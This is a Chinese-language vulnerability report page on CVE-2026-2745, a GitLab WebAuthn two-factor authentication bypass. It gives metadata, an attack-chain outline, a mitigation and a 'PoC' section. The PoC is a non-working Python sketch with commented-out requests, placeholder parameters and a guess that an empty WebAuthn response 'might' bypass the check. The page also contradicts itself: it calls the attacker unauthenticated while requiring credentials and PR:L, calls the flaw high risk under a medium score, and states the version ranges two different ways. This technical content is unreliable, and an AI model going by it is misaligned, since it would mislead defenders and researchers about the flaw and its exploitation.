IPBUF安全漏洞报告
English
CVE-2026-2745 CVSS 6.8 中危

CVE-2026-2745 GitLab WebAuthn认证绕过漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-2745
漏洞类型
认证绕过
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

认证绕过WebAuthnGitLabCVE-2026-2745双因素认证

漏洞概述

GitLab CE/EE 在特定版本中存在一个安全漏洞,该漏洞源于认证过程中的输入验证不一致。未经身份验证的攻击者可以利用此漏洞绕过 WebAuthn 双因素认证(2FA),从而获得用户账户的未授权访问权限。此漏洞影响了从 7.11 版本开始直到 18.10.1 之前的多个版本,对用户数据的机密性和完整性构成了高风险。

技术细节

该漏洞的核心在于 GitLab 处理 WebAuthn 认证流程时的输入验证逻辑存在缺陷。WebAuthn 本应作为强双因素认证机制,要求用户提供物理凭证。然而,在受影响的 GitLab CE/EE 版本中,服务器端对于认证请求中的特定参数处理不一致。攻击者可以通过网络向目标 GitLab 实例发起精心构造的 HTTP 请求。利用这一逻辑漏洞,攻击者能够在未提供有效 WebAuthn 签名的情况下欺骗服务器,使其误认为用户已完成二次验证。由于该漏洞无需用户交互(UI:N)且攻击复杂度相对可控,一旦攻击者获取了目标用户的用户名和密码,即可利用此漏洞绕过 2FA 屏障,直接获取账户的完全控制权,导致高机密性和完整性的破坏。

攻击链分析

STEP 1
信息收集
攻击者识别出目标 GitLab 实例及其版本,确认其位于受影响版本范围内。
STEP 2
获取凭证
攻击者通过钓鱼、密码泄露数据库或其他方式获取目标用户的用户名和密码。
STEP 3
发送认证请求
攻击者使用获取的凭证发起登录请求,服务器响应要求进行 WebAuthn 二次验证。
STEP 4
利用漏洞绕过
攻击者修改 WebAuthn 验证阶段的请求包,利用输入验证不一致的缺陷,发送特制数据包绕过 2FA 检查。
STEP 5
获取未授权访问
服务器错误地验证了会话,攻击者成功登录目标账户,获得高机密性和完整性权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "https://gitlab.example.com/users/sign_in" # Attacker's credentials (assumed obtained via phishing or other means) username = "victim_user" password = "victim_password" # Session creation session = requests.Session() # Step 1: Perform initial login to get the session cookie and trigger 2FA login_data = { "user[login]": username, "user[password]": password, "authenticity_token": "" # Need to scrape token from page first } # response = session.post(target_url, data=login_data) # Step 2: Exploit the inconsistent validation to bypass WebAuthn # The vulnerability lies in how the 'remember_device' or WebAuthn response is handled. # Sending a malformed or empty WebAuthn response might bypass the check in vulnerable versions. bypass_payload = { "user[remember_me]": "0", # In a real exploit, specific parameters causing the validation skip would be set here "device_response": "bypass_payload_simulation" } # Simulating the bypass request # exploit_response = session.post(target_url + "/webauthn", data=bypass_payload) # if exploit_response.status_code == 200: # print("[+] Authentication bypassed! Access granted.") # else: # print("[-] Exploit failed.") print("This is a conceptual PoC for CVE-2026-2745 demonstrating the bypass logic.")

影响范围

GitLab CE/EE >= 7.11, < 18.8.7
GitLab CE/EE >= 18.9, < 18.9.3
GitLab CE/EE >= 18.10, < 18.10.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 WebAuthn 双因素认证功能,转而使用基于时间的一次性密码(TOTP)或短信验证等其他 2FA 方式,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表